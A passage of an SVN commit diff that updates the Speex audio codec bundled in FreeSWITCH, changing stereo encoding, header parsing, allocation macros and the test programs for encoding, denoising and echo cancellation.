-int speex_decoder_ctl(void *state, int request, void *ptr)
+EXPORT int speex_decoder_ctl(void *state, int request, void *ptr)
 {
    return (*((SpeexMode**)state))->dec_ctl(state, request, ptr);
 }
@@ -208,32 +213,9 @@
    return 0;
 }
 
-int wb_mode_query(const void *mode, int request, void *ptr)
-{
-   const SpeexSBMode *m = (const SpeexSBMode*)mode;
 
-   switch (request)
-   {
-   case SPEEX_MODE_FRAME_SIZE:
-      *((int*)ptr)=2*m->frameSize;
-      break;
-   case SPEEX_SUBMODE_BITS_PER_FRAME:
-      if (*((int*)ptr)==0)
-         *((int*)ptr) = SB_SUBMODE_BITS+1;
-      else if (m->submodes[*((int*)ptr)]==NULL)
-         *((int*)ptr) = -1;
-      else
-         *((int*)ptr) = m->submodes[*((int*)ptr)]->bits_per_frame;
-      break;
-   default:
-      speex_warning_int("Unknown wb_mode_query request: ", request);
-      return -1;
-   }
-   return 0;
-}
 
-
-int speex_lib_ctl(int request, void *ptr)
+EXPORT int speex_lib_ctl(int request, void *ptr)
 {
    switch (request)
    {

Modified: freeswitch/branches/seven/libs/speex/libspeex/speex_callbacks.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/speex_callbacks.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/speex_callbacks.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -37,9 +37,10 @@
 #endif
 
 #include <speex/speex_callbacks.h>
-#include "misc.h"
+#include "arch.h"
+#include "os_support.h"
 
-int speex_inband_handler(SpeexBits *bits, SpeexCallback *callback_list, void *state)
+EXPORT int speex_inband_handler(SpeexBits *bits, SpeexCallback *callback_list, void *state)
 {
    int id;
    SpeexCallback *callback;
@@ -71,7 +72,7 @@
    return 0;
 }
 
-int speex_std_mode_request_handler(SpeexBits *bits, void *state, void *data)
+EXPORT int speex_std_mode_request_handler(SpeexBits *bits, void *state, void *data)
 {
    spx_int32_t m;
    m = speex_bits_unpack_unsigned(bits, 4);
@@ -79,7 +80,7 @@
    return 0;
 }
 
-int speex_std_low_mode_request_handler(SpeexBits *bits, void *state, void *data)
+EXPORT int speex_std_low_mode_request_handler(SpeexBits *bits, void *state, void *data)
 {
    spx_int32_t m;
    m = speex_bits_unpack_unsigned(bits, 4);
@@ -87,7 +88,7 @@
    return 0;
 }
 
-int speex_std_high_mode_request_handler(SpeexBits *bits, void *state, void *data)
+EXPORT int speex_std_high_mode_request_handler(SpeexBits *bits, void *state, void *data)
 {
    spx_int32_t m;
    m = speex_bits_unpack_unsigned(bits, 4);
@@ -95,15 +96,17 @@
    return 0;
 }
 
-int speex_std_vbr_request_handler(SpeexBits *bits, void *state, void *data)
+#ifndef DISABLE_VBR
+EXPORT int speex_std_vbr_request_handler(SpeexBits *bits, void *state, void *data)
 {
    spx_int32_t vbr;
    vbr = speex_bits_unpack_unsigned(bits, 1);
    speex_encoder_ctl(data, SPEEX_SET_VBR, &vbr);
    return 0;
 }
+#endif /* #ifndef DISABLE_VBR */
 
-int speex_std_enh_request_handler(SpeexBits *bits, void *state, void *data)
+EXPORT int speex_std_enh_request_handler(SpeexBits *bits, void *state, void *data)
 {
    spx_int32_t enh;
    enh = speex_bits_unpack_unsigned(bits, 1);
@@ -111,16 +114,17 @@
    return 0;
 }
 
-int speex_std_vbr_quality_request_handler(SpeexBits *bits, void *state, void *data)
+#ifndef DISABLE_VBR
+EXPORT int speex_std_vbr_quality_request_handler(SpeexBits *bits, void *state, void *data)
 {
    float qual;
    qual = speex_bits_unpack_unsigned(bits, 4);
    speex_encoder_ctl(data, SPEEX_SET_VBR_QUALITY, &qual);
    return 0;
 }
+#endif /* #ifndef DISABLE_VBR */
 
-
-int speex_std_char_handler(SpeexBits *bits, void *state, void *data)
+EXPORT int speex_std_char_handler(SpeexBits *bits, void *state, void *data)
 {
    unsigned char ch;
    ch = speex_bits_unpack_unsigned(bits, 8);
@@ -132,7 +136,7 @@
 
 
 /* Default handler for user callbacks: skip it */
-int speex_default_user_handler(SpeexBits *bits, void *state, void *data)
+EXPORT int speex_default_user_handler(SpeexBits *bits, void *state, void *data)
 {
    int req_size = speex_bits_unpack_unsigned(bits, 4);
    speex_bits_advance(bits, 5+8*req_size);

Modified: freeswitch/branches/seven/libs/speex/libspeex/speex_header.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/speex_header.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/speex_header.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -35,14 +35,31 @@
 #include "config.h"
 #endif
 
-#include "misc.h"
+#include "arch.h"
 #include <speex/speex_header.h>
 #include <speex/speex.h>
+#include "os_support.h"
 
 #ifndef NULL
 #define NULL 0
 #endif
 
+/** Convert little endian */
+static inline spx_int32_t le_int(spx_int32_t i)
+{
+#if !defined(__LITTLE_ENDIAN__) && ( defined(WORDS_BIGENDIAN) || defined(__BIG_ENDIAN__) )
+   spx_uint32_t ui, ret;
+   ui = i;
+   ret =  ui>>24;
+   ret |= (ui>>8)&0x0000ff00;
+   ret |= (ui<<8)&0x00ff0000;
+   ret |= (ui<<24);
+   return ret;
+#else
+   return i;
+#endif
+}
+
 #define ENDIAN_SWITCH(x) {x=le_int(x);}
 
 
@@ -66,7 +83,7 @@
 } SpeexHeader;
 */
 
-void speex_init_header(SpeexHeader *header, int rate, int nb_channels, const SpeexMode *m)
+EXPORT void speex_init_header(SpeexHeader *header, int rate, int nb_channels, const SpeexMode *m)
 {
    int i;
    const char *h="Speex   ";
@@ -101,12 +118,12 @@
    header->reserved2 = 0;
 }
 
-char *speex_header_to_packet(SpeexHeader *header, int *size)
+EXPORT char *speex_header_to_packet(SpeexHeader *header, int *size)
 {
    SpeexHeader *le_header;
    le_header = (SpeexHeader*)speex_alloc(sizeof(SpeexHeader));
    
-   speex_move(le_header, header, sizeof(SpeexHeader));
+   SPEEX_COPY(le_header, header, 1);
    
    /*Make sure everything is now little-endian*/
    ENDIAN_SWITCH(le_header->speex_version_id);
@@ -125,7 +142,7 @@
    return (char *)le_header;
 }
 
-SpeexHeader *speex_packet_to_header(char *packet, int size)
+EXPORT SpeexHeader *speex_packet_to_header(char *packet, int size)
 {
    int i;
    SpeexHeader *le_header;
@@ -133,20 +150,20 @@
    for (i=0;i<8;i++)
       if (packet[i]!=h[i])
       {
-         speex_warning ("This doesn't look like a Speex file");
+         speex_notify("This doesn't look like a Speex file");
          return NULL;
       }
    
    /*FIXME: Do we allow larger headers?*/
    if (size < (int)sizeof(SpeexHeader))
    {
-      speex_warning("Speex header too small");
+      speex_notify("Speex header too small");
       return NULL;
    }
    
    le_header = (SpeexHeader*)speex_alloc(sizeof(SpeexHeader));
    
-   speex_move(le_header, packet, sizeof(SpeexHeader));
+   SPEEX_COPY(le_header, (SpeexHeader*)packet, 1);
    
    /*Make sure everything is converted correctly from little-endian*/
    ENDIAN_SWITCH(le_header->speex_version_id);
@@ -161,6 +178,23 @@
    ENDIAN_SWITCH(le_header->frames_per_packet);
    ENDIAN_SWITCH(le_header->extra_headers);
 
+   if (le_header->mode >= SPEEX_NB_MODES || le_header->mode < 0)
+   {
+      speex_notify("Invalid mode specified in Speex header");
+      speex_free (le_header);
+      return NULL;
+   }
+
+   if (le_header->nb_channels>2)
+      le_header->nb_channels = 2;
+   if (le_header->nb_channels<1)
+      le_header->nb_channels = 1;
+
    return le_header;
 
 }
+
+EXPORT void speex_header_free(void *ptr)
+{
+   speex_free(ptr);
+}

Modified: freeswitch/branches/seven/libs/speex/libspeex/stack_alloc.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/stack_alloc.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/stack_alloc.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -36,12 +36,16 @@
 #define STACK_ALLOC_H
 
 #ifdef USE_ALLOCA
-#ifdef WIN32
-#include <malloc.h>
-#else
-#include <alloca.h>
+# ifdef WIN32
+#  include <malloc.h>
+# else
+#  ifdef HAVE_ALLOCA_H
+#   include <alloca.h>
+#  else
+#   include <stdlib.h>
+#  endif
+# endif
 #endif
-#endif
 
 /**
  * @def ALIGN(stack, size)
@@ -63,15 +67,6 @@
  */
 
 /**
- * @def PUSHS(stack, type)
- *
- * Allocates a struct stack 
- *
- * @param stack Stack
- * @param type  Struct type
- */
-
-/**
  * @def VARDECL(var)
  *
  * Declare variable on stack
@@ -97,16 +92,12 @@
 
 #define PUSH(stack, size, type) (VALGRIND_MAKE_NOACCESS(stack, 1000),ALIGN((stack),sizeof(type)),VALGRIND_MAKE_WRITABLE(stack, ((size)*sizeof(type))),(stack)+=((size)*sizeof(type)),(type*)((stack)-((size)*sizeof(type))))
 
-#define PUSHS(stack, type) (VALGRIND_MAKE_NOACCESS(stack, 1000),ALIGN((stack),sizeof(long)),VALGRIND_MAKE_WRITABLE(stack, (sizeof(type))),(stack)+=(sizeof(type)),(type*)((stack)-(sizeof(type))))
-
 #else
 
 #define ALIGN(stack, size) ((stack) += ((size) - (long)(stack)) & ((size) - 1))
 
 #define PUSH(stack, size, type) (ALIGN((stack),sizeof(type)),(stack)+=((size)*sizeof(type)),(type*)((stack)-((size)*sizeof(type))))
 
-#define PUSHS(stack, type) (ALIGN((stack),sizeof(long)),(stack)+=(sizeof(type)),(type*)((stack)-(sizeof(type))))
-
 #endif
 
 #if defined(VAR_ARRAYS)

Modified: freeswitch/branches/seven/libs/speex/libspeex/stereo.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/stereo.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/stereo.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -35,14 +35,78 @@
 
 #include <speex/speex_stereo.h>
 #include <speex/speex_callbacks.h>
+#include "math_approx.h"
 #include "vq.h"
 #include <math.h>
+#include "os_support.h"
 
+typedef struct RealSpeexStereoState {
+   spx_word32_t balance;      /**< Left/right balance info */
+   spx_word32_t e_ratio;      /**< Ratio of energies: E(left+right)/[E(left)+E(right)]  */
+   spx_word32_t smooth_left;  /**< Smoothed left channel gain */
+   spx_word32_t smooth_right; /**< Smoothed right channel gain */
+   spx_uint32_t reserved1;     /**< Reserved for future use */
+   spx_int32_t reserved2;     /**< Reserved for future use */
+} RealSpeexStereoState;
+
+
 /*float e_ratio_quant[4] = {1, 1.26, 1.587, 2};*/
+#ifndef FIXED_POINT
 static const float e_ratio_quant[4] = {.25f, .315f, .397f, .5f};
+static const float e_ratio_quant_bounds[3] = {0.2825f, 0.356f, 0.4485f};
+#else
+static const spx_word16_t e_ratio_quant[4] = {8192, 10332, 13009, 16384};
+static const spx_word16_t e_ratio_quant_bounds[3] = {9257, 11665, 14696};
+static const spx_word16_t balance_bounds[31] = {18, 23, 30, 38, 49, 63,  81, 104,
+   134, 172, 221,  284, 364, 468, 600, 771,
+   990, 1271, 1632, 2096, 2691, 3455, 4436, 5696,
+   7314, 9392, 12059, 15484, 19882, 25529, 32766};
+#endif
 
-void speex_encode_stereo(float *data, int frame_size, SpeexBits *bits)
+/* This is an ugly compatibility hack that properly resets the stereo state
+   In case it it compiled in fixed-point, but initialised with the deprecated
+   floating point static initialiser */
+#ifdef FIXED_POINT
+#define COMPATIBILITY_HACK(s) do {if ((s)->reserved1 != 0xdeadbeef) speex_stereo_state_reset((SpeexStereoState*)s); } while (0);
+#else
+#define COMPATIBILITY_HACK(s) 
+#endif
+
+EXPORT SpeexStereoState *speex_stereo_state_init()
 {
+   SpeexStereoState *stereo = speex_alloc(sizeof(SpeexStereoState));
+   speex_stereo_state_reset(stereo);
+   return stereo;
+}
+
+EXPORT void speex_stereo_state_reset(SpeexStereoState *_stereo)
+{
+   RealSpeexStereoState *stereo = (RealSpeexStereoState*)_stereo;
+#ifdef FIXED_POINT
+   stereo->balance = 65536;
+   stereo->e_ratio = 16384;
+   stereo->smooth_left = 16384;
+   stereo->smooth_right = 16384;
+   stereo->reserved1 = 0xdeadbeef;
+   stereo->reserved2 = 0;
+#else
+   stereo->balance = 1.0f;
+   stereo->e_ratio = .5f;
+   stereo->smooth_left = 1.f;
+   stereo->smooth_right = 1.f;
+   stereo->reserved1 = 0;
+   stereo->reserved2 = 0;
+#endif   
+}
+
+EXPORT void speex_stereo_state_destroy(SpeexStereoState *stereo)
+{
+   speex_free(stereo);
+}
+
+#ifndef DISABLE_FLOAT_API
+EXPORT void speex_encode_stereo(float *data, int frame_size, SpeexBits *bits)
+{
    int i, tmp;
    float e_left=0, e_right=0, e_tot=0;
    float balance, e_ratio;
@@ -73,118 +137,158 @@
    
    speex_bits_pack(bits, (int)balance, 5);
    
-   /*Quantize energy ratio*/
-   tmp=vq_index(&e_ratio, e_ratio_quant, 1, 4);
+   /* FIXME: this is a hack */
+   tmp=scal_quant(e_ratio*Q15_ONE, e_ratio_quant_bounds, 4);
    speex_bits_pack(bits, tmp, 2);
 }
+#endif /* #ifndef DISABLE_FLOAT_API */
 
-void speex_encode_stereo_int(spx_int16_t *data, int frame_size, SpeexBits *bits)
+EXPORT void speex_encode_stereo_int(spx_int16_t *data, int frame_size, SpeexBits *bits)
 {
    int i, tmp;
-   float e_left=0, e_right=0, e_tot=0;
-   float balance, e_ratio;
+   spx_word32_t e_left=0, e_right=0, e_tot=0;
+   spx_word32_t balance, e_ratio;
+   spx_word32_t largest, smallest;
+   int balance_id;
+#ifdef FIXED_POINT
+   int shift;
+#endif
+   
+   /* In band marker */
+   speex_bits_pack(bits, 14, 5);
+   /* Stereo marker */
+   speex_bits_pack(bits, SPEEX_INBAND_STEREO, 4);
+
    for (i=0;i<frame_size;i++)
    {
-      e_left  += ((float)data[2*i])*data[2*i];
-      e_right += ((float)data[2*i+1])*data[2*i+1];
+      e_left  += SHR32(MULT16_16(data[2*i],data[2*i]),8);
+      e_right += SHR32(MULT16_16(data[2*i+1],data[2*i+1]),8);
+#ifdef FIXED_POINT
+      /* I think this is actually unbiased */
+      data[i] =  SHR16(data[2*i],1)+PSHR16(data[2*i+1],1);
+#else
       data[i] =  .5*(((float)data[2*i])+data[2*i+1]);
-      e_tot   += ((float)data[i])*data[i];
+#endif
+      e_tot   += SHR32(MULT16_16(data[i],data[i]),8);
    }
-   balance=(e_left+1)/(e_right+1);
-   e_ratio = e_tot/(1+e_left+e_right);
+   if (e_left > e_right)
+   {
+      speex_bits_pack(bits, 0, 1);
+      largest = e_left;
+      smallest = e_right;
+   } else {
+      speex_bits_pack(bits, 1, 1);
+      largest = e_right;
+      smallest = e_left;
+   }
 
-   /*Quantization*/
-   speex_bits_pack(bits, 14, 5);
-   speex_bits_pack(bits, SPEEX_INBAND_STEREO, 4);
-   
+   /* Balance quantization */
+#ifdef FIXED_POINT
+   shift = spx_ilog2(largest)-15;
+   largest = VSHR32(largest, shift-4);
+   smallest = VSHR32(smallest, shift);
+   balance = DIV32(largest, ADD32(smallest, 1));
+   if (balance > 32767)
+      balance = 32767;
+   balance_id = scal_quant(EXTRACT16(balance), balance_bounds, 32);
+#else
+   balance=(largest+1.)/(smallest+1.);
    balance=4*log(balance);
-
-   /*Pack sign*/
-   if (balance>0)
-      speex_bits_pack(bits, 0, 1);
-   else
-      speex_bits_pack(bits, 1, 1);
-   balance=floor(.5+fabs(balance));
-   if (balance>30)
-      balance=31;
+   balance_id=floor(.5+fabs(balance));
+   if (balance_id>30)
+      balance_id=31;
+#endif
    
-   speex_bits_pack(bits, (int)balance, 5);
+   speex_bits_pack(bits, balance_id, 5);
    
-   /*Quantize energy ratio*/
-   tmp=vq_index(&e_ratio, e_ratio_quant, 1, 4);
+   /* "coherence" quantisation */
+#ifdef FIXED_POINT
+   shift = spx_ilog2(e_tot);
+   e_tot = VSHR32(e_tot, shift-25);
+   e_left = VSHR32(e_left, shift-10);
+   e_right = VSHR32(e_right, shift-10);
+   e_ratio = DIV32(e_tot, e_left+e_right+1);
+#else
+   e_ratio = e_tot/(1.+e_left+e_right);
+#endif
+   
+   tmp=scal_quant(EXTRACT16(e_ratio), e_ratio_quant_bounds, 4);
+   /*fprintf (stderr, "%d %d %d %d\n", largest, smallest, balance_id, e_ratio);*/
    speex_bits_pack(bits, tmp, 2);
 }
 
-void speex_decode_stereo(float *data, int frame_size, SpeexStereoState *stereo)
+#ifndef DISABLE_FLOAT_API
+EXPORT void speex_decode_stereo(float *data, int frame_size, SpeexStereoState *_stereo)
 {
-   float balance, e_ratio;
    int i;
-   float e_tot=0, e_left, e_right, e_sum;
-
+   spx_word32_t balance;
+   spx_word16_t e_left, e_right, e_ratio;
+   RealSpeexStereoState *stereo = (RealSpeexStereoState*)_stereo;
+   
+   COMPATIBILITY_HACK(stereo);
+   
    balance=stereo->balance;
    e_ratio=stereo->e_ratio;
-   for (i=frame_size-1;i>=0;i--)
-   {
-      e_tot += ((float)data[i])*data[i];
-   }
-   e_sum=e_tot/e_ratio;
-   e_left  = e_sum*balance / (1+balance);
-   e_right = e_sum-e_left;
+   
+   /* These two are Q14, with max value just below 2. */
+   e_right = DIV32(QCONST32(1., 22), spx_sqrt(MULT16_32_Q15(e_ratio, ADD32(QCONST32(1., 16), balance))));
+   e_left = SHR32(MULT16_16(spx_sqrt(balance), e_right), 8);
 
-   e_left  = sqrt(e_left/(e_tot+.01));
-   e_right = sqrt(e_right/(e_tot+.01));
-
    for (i=frame_size-1;i>=0;i--)
    {
-      float ftmp=data[i];
-      stereo->smooth_left  = .98*stereo->smooth_left  + .02*e_left;
-      stereo->smooth_right = .98*stereo->smooth_right + .02*e_right;
-      data[2*i] = stereo->smooth_left*ftmp;
-      data[2*i+1] = stereo->smooth_right*ftmp;
+      spx_word16_t tmp=data[i];
+      stereo->smooth_left = EXTRACT16(PSHR32(MAC16_16(MULT16_16(stereo->smooth_left, QCONST16(0.98, 15)), e_left, QCONST16(0.02, 15)), 15));
+      stereo->smooth_right = EXTRACT16(PSHR32(MAC16_16(MULT16_16(stereo->smooth_right, QCONST16(0.98, 15)), e_right, QCONST16(0.02, 15)), 15));
+      data[2*i] = (float)MULT16_16_P14(stereo->smooth_left, tmp);
+      data[2*i+1] = (float)MULT16_16_P14(stereo->smooth_right, tmp);
    }
 }
+#endif /* #ifndef DISABLE_FLOAT_API */
 
-void speex_decode_stereo_int(spx_int16_t *data, int frame_size, SpeexStereoState *stereo)
+EXPORT void speex_decode_stereo_int(spx_int16_t *data, int frame_size, SpeexStereoState *_stereo)
 {
-   float balance, e_ratio;
    int i;
-   float e_tot=0, e_left, e_right, e_sum;
+   spx_word32_t balance;
+   spx_word16_t e_left, e_right, e_ratio;
+   RealSpeexStereoState *stereo = (RealSpeexStereoState*)_stereo;
 
+   COMPATIBILITY_HACK(stereo);
+   
    balance=stereo->balance;
    e_ratio=stereo->e_ratio;
-   for (i=frame_size-1;i>=0;i--)
-   {
-      e_tot += ((float)data[i])*data[i];
-   }
-   e_sum=e_tot/e_ratio;
-   e_left  = e_sum*balance / (1+balance);
-   e_right = e_sum-e_left;
+   
+   /* These two are Q14, with max value just below 2. */
+   e_right = DIV32(QCONST32(1., 22), spx_sqrt(MULT16_32_Q15(e_ratio, ADD32(QCONST32(1., 16), balance))));
+   e_left = SHR32(MULT16_16(spx_sqrt(balance), e_right), 8);
 
-   e_left  = sqrt(e_left/(e_tot+.01));
-   e_right = sqrt(e_right/(e_tot+.01));
-
    for (i=frame_size-1;i>=0;i--)
    {
-      float ftmp=data[i];
-      stereo->smooth_left  = .98*stereo->smooth_left  + .02*e_left;
-      stereo->smooth_right = .98*stereo->smooth_right + .02*e_right;
-      data[2*i] = stereo->smooth_left*ftmp;
-      data[2*i+1] = stereo->smooth_right*ftmp;
+      spx_int16_t tmp=data[i];
+      stereo->smooth_left = EXTRACT16(PSHR32(MAC16_16(MULT16_16(stereo->smooth_left, QCONST16(0.98, 15)), e_left, QCONST16(0.02, 15)), 15));
+      stereo->smooth_right = EXTRACT16(PSHR32(MAC16_16(MULT16_16(stereo->smooth_right, QCONST16(0.98, 15)), e_right, QCONST16(0.02, 15)), 15));
+      data[2*i] = (spx_int16_t)MULT16_16_P14(stereo->smooth_left, tmp);
+      data[2*i+1] = (spx_int16_t)MULT16_16_P14(stereo->smooth_right, tmp);
    }
 }
 
-int speex_std_stereo_request_handler(SpeexBits *bits, void *state, void *data)
+EXPORT int speex_std_stereo_request_handler(SpeexBits *bits, void *state, void *data)
 {
-   SpeexStereoState *stereo;
-   float sign=1;
+   RealSpeexStereoState *stereo;
+   spx_word16_t sign=1, dexp;
    int tmp;
 
-   stereo = (SpeexStereoState*)data;
+   stereo = (RealSpeexStereoState*)data;
+   
+   COMPATIBILITY_HACK(stereo);
+
    if (speex_bits_unpack_unsigned(bits, 1))
       sign=-1;
-   tmp = speex_bits_unpack_unsigned(bits, 5);
-   stereo->balance = exp(sign*.25*tmp);
-
+   dexp = speex_bits_unpack_unsigned(bits, 5);
+#ifndef FIXED_POINT
+   stereo->balance = exp(sign*.25*dexp);
+#else
+   stereo->balance = spx_exp(MULT16_16(sign, SHL16(dexp, 9)));
+#endif
    tmp = speex_bits_unpack_unsigned(bits, 2);
    stereo->e_ratio = e_ratio_quant[tmp];
 

Modified: freeswitch/branches/seven/libs/speex/libspeex/testdenoise.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/testdenoise.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/testdenoise.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -20,13 +20,13 @@
    speex_preprocess_ctl(st, SPEEX_PREPROCESS_SET_DENOISE, &i);
    i=0;
    speex_preprocess_ctl(st, SPEEX_PREPROCESS_SET_AGC, &i);
-   f=8000;
-   speex_preprocess_ctl(st, SPEEX_PREPROCESS_SET_AGC_LEVEL, &f);
+   i=8000;
+   speex_preprocess_ctl(st, SPEEX_PREPROCESS_SET_AGC_LEVEL, &i);
    i=0;
    speex_preprocess_ctl(st, SPEEX_PREPROCESS_SET_DEREVERB, &i);
-   f=.4;
+   f=.0;
    speex_preprocess_ctl(st, SPEEX_PREPROCESS_SET_DEREVERB_DECAY, &f);
-   f=.3;
+   f=.0;
    speex_preprocess_ctl(st, SPEEX_PREPROCESS_SET_DEREVERB_LEVEL, &f);
    while (1)
    {
@@ -34,7 +34,7 @@
       fread(in, sizeof(short), NN, stdin);
       if (feof(stdin))
          break;
-      vad = speex_preprocess(st, in, NULL);
+      vad = speex_preprocess_run(st, in);
       /*fprintf (stderr, "%d\n", vad);*/
       fwrite(in, sizeof(short), NN, stdout);
       count++;

Modified: freeswitch/branches/seven/libs/speex/libspeex/testecho.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/testecho.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/testecho.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,6 @@
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <fcntl.h>
-#include <unistd.h>
 #include "speex/speex_echo.h"
 #include "speex/speex_preprocess.h"
 
@@ -17,37 +16,38 @@
 
 int main(int argc, char **argv)
 {
-   int echo_fd, ref_fd, e_fd;
-   spx_int32_t noise[NN+1];
+   FILE *echo_fd, *ref_fd, *e_fd;
    short echo_buf[NN], ref_buf[NN], e_buf[NN];
    SpeexEchoState *st;
    SpeexPreprocessState *den;
+   int sampleRate = 8000;
 
    if (argc != 4)
    {
-      fprintf (stderr, "testecho mic_signal.sw speaker_signal.sw output.sw\n");
+      fprintf(stderr, "testecho mic_signal.sw speaker_signal.sw output.sw\n");
       exit(1);
    }
-   echo_fd = open (argv[2], O_RDONLY);
-   ref_fd  = open (argv[1],  O_RDONLY);
-   e_fd    = open (argv[3], O_WRONLY | O_CREAT | O_TRUNC, 0644);
+   echo_fd = fopen(argv[2], "rb");
+   ref_fd  = fopen(argv[1],  "rb");
+   e_fd    = fopen(argv[3], "wb");
 
    st = speex_echo_state_init(NN, TAIL);
-   den = speex_preprocess_state_init(NN, 8000);
-   int tmp = 8000;
-   speex_echo_ctl(st, SPEEX_ECHO_SET_SAMPLING_RATE, &tmp);
+   den = speex_preprocess_state_init(NN, sampleRate);
+   speex_echo_ctl(st, SPEEX_ECHO_SET_SAMPLING_RATE, &sampleRate);
+   speex_preprocess_ctl(den, SPEEX_PREPROCESS_SET_ECHO_STATE, st);
 
-   while (read(ref_fd, ref_buf, NN*2))
+   while (!feof(ref_fd) && !feof(echo_fd))
    {
-      read(echo_fd, echo_buf, NN*2);
-      speex_echo_cancel(st, ref_buf, echo_buf, e_buf, noise);
-      /*speex_preprocess(den, e_buf, noise);*/
-      write(e_fd, e_buf, NN*2);
+      fread(ref_buf, sizeof(short), NN, ref_fd);
+      fread(echo_buf, sizeof(short), NN, echo_fd);
+      speex_echo_cancellation(st, ref_buf, echo_buf, e_buf);
+      speex_preprocess_run(den, e_buf);
+      fwrite(e_buf, sizeof(short), NN, e_fd);
    }
    speex_echo_state_destroy(st);
    speex_preprocess_state_destroy(den);
-   close(e_fd);
-   close(echo_fd);
-   close(ref_fd);
+   fclose(e_fd);
+   fclose(echo_fd);
+   fclose(ref_fd);
    return 0;
 }

Modified: freeswitch/branches/seven/libs/speex/libspeex/testenc.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/testenc.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/testenc.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -19,7 +19,6 @@
    FILE *fin, *fout, *fbits=NULL;
    short in_short[FRAME_SIZE];
    short out_short[FRAME_SIZE];
-   float sigpow,errpow,snr, seg_snr=0;
    int snr_frames = 0;
    char cbits[200];
    int nbBits;
@@ -32,12 +31,9 @@
    spx_int32_t skip_group_delay;
    SpeexCallback callback;
 
-   sigpow = 0;
-   errpow = 0;
+   st = speex_encoder_init(speex_lib_get_mode(SPEEX_MODEID_NB));
+   dec = speex_decoder_init(speex_lib_get_mode(SPEEX_MODEID_NB));
 
-   st = speex_encoder_init(&speex_nb_mode);
-   dec = speex_decoder_init(&speex_nb_mode);
-
    /* BEGIN: You probably don't need the following in a real application */
    callback.callback_id = SPEEX_INBAND_CHAR;
    callback.func = speex_std_char_handler;
@@ -74,13 +70,13 @@
       exit(1);
    }
    inFile = argv[1];
-   fin = fopen(inFile, "r");
+   fin = fopen(inFile, "rb");
    outFile = argv[2];
-   fout = fopen(outFile, "w+");
+   fout = fopen(outFile, "wb+");
    if (argc==4)
    {
       bitsFile = argv[3];
-      fbits = fopen(bitsFile, "w");
+      fbits = fopen(bitsFile, "wb");
    }
    speex_bits_init(&bits);
    while (!feof(fin))
@@ -109,6 +105,12 @@
    speex_decoder_destroy(dec);
    speex_bits_destroy(&bits);
 
+#ifndef DISABLE_FLOAT_API
+   {
+   float sigpow,errpow,snr, seg_snr=0;
+   sigpow = 0;
+   errpow = 0;
+
    /* This code just computes SNR, so you don't need it either */
    rewind(fin);
    rewind(fout);
@@ -127,9 +129,6 @@
 	errpow += e;
 	snr_frames++;
    }
-   fclose(fin);
-   fclose(fout);
-
    snr = 10 * log10( sigpow / errpow );
    seg_snr /= snr_frames;
    fprintf(stderr,"SNR = %f\nsegmental SNR = %f\n",snr, seg_snr);
@@ -137,6 +136,11 @@
 #ifdef FIXED_DEBUG
    printf ("Total: %f MIPS\n", (float)(1e-6*50*spx_mips/snr_frames));
 #endif
-   
+   }
+#endif
+
+   fclose(fin);
+   fclose(fout);
+
    return 0;
 }

Modified: freeswitch/branches/seven/libs/speex/libspeex/testenc_uwb.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/testenc_uwb.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/testenc_uwb.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -36,8 +36,8 @@
    sigpow = 0;
    errpow = 0;
 
-   st = speex_encoder_init(&speex_uwb_mode);
-   dec = speex_decoder_init(&speex_uwb_mode);
+   st = speex_encoder_init(speex_lib_get_mode(SPEEX_MODEID_UWB));
+   dec = speex_decoder_init(speex_lib_get_mode(SPEEX_MODEID_UWB));
 
    callback.callback_id = SPEEX_INBAND_CHAR;
    callback.func = speex_std_char_handler;
@@ -69,13 +69,13 @@
       exit(1);
    }
    inFile = argv[1];
-   fin = fopen(inFile, "r");
+   fin = fopen(inFile, "rb");
    outFile = argv[2];
-   fout = fopen(outFile, "w+");
+   fout = fopen(outFile, "wb+");
    if (argc==4)
    {
       bitsFile = argv[3];
-      fbits = fopen(bitsFile, "w");
+      fbits = fopen(bitsFile, "wb");
    }
    speex_bits_init(&bits);
    while (!feof(fin))

Modified: freeswitch/branches/seven/libs/speex/libspeex/testenc_wb.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/testenc_wb.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/testenc_wb.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -19,7 +19,6 @@
    FILE *fin, *fout, *fbits=NULL;
    short in_short[FRAME_SIZE];
    short out_short[FRAME_SIZE];
-   float in_float[FRAME_SIZE];
    float sigpow,errpow,snr, seg_snr=0;
    int snr_frames = 0;
    char cbits[200];
@@ -36,8 +35,8 @@
    sigpow = 0;
    errpow = 0;
 
-   st = speex_encoder_init(&speex_wb_mode);
-   dec = speex_decoder_init(&speex_wb_mode);
+   st = speex_encoder_init(speex_lib_get_mode(SPEEX_MODEID_WB));
+   dec = speex_decoder_init(speex_lib_get_mode(SPEEX_MODEID_WB));
 
